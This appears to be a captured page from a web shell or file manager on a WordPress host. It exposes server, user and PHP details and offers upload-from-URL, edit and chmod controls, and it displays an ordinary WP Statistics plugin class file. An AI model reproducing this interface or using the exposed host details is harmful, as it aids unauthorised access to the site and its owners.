Server : LiteSpeed
System : Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
User : gazetufm ( 1431)
PHP Version : 8.1.35
Disable Function : NONE
Directory :  /home2/gazetufm/public_html/wp/wp-content/plugins/wp-statistics/src/Abstracts/

📁 Create New:
⬆️ Upload File:
Current Dir [ Writable ] Root [ Writable ]


OR Upload from URL:
URL: Save as:

📄 File: BaseView.php

Path: //home2/gazetufm/public_html/wp/wp-content/plugins/wp-statistics/src/Abstracts/BaseView.php

Size: 458 B

Permissions: 0644

<?php

namespace WP_Statistics\Abstracts;

use WP_STATISTICS\Menus;
use WP_Statistics\Utils\Request;


abstract class BaseView
{
    protected $dataProvider;

    abstract protected function render();

    /**
     * Get the current page based on the "page" request parameter.
     *
     * @return string The current page.
     */
    protected function getCurrentPage()
    {
        return Menus::getPageKeyFromSlug(Request::get('page'))[0] ?? '';
    }
}

← Back to Directory Edit File 🔒 Chmod

WP File Manager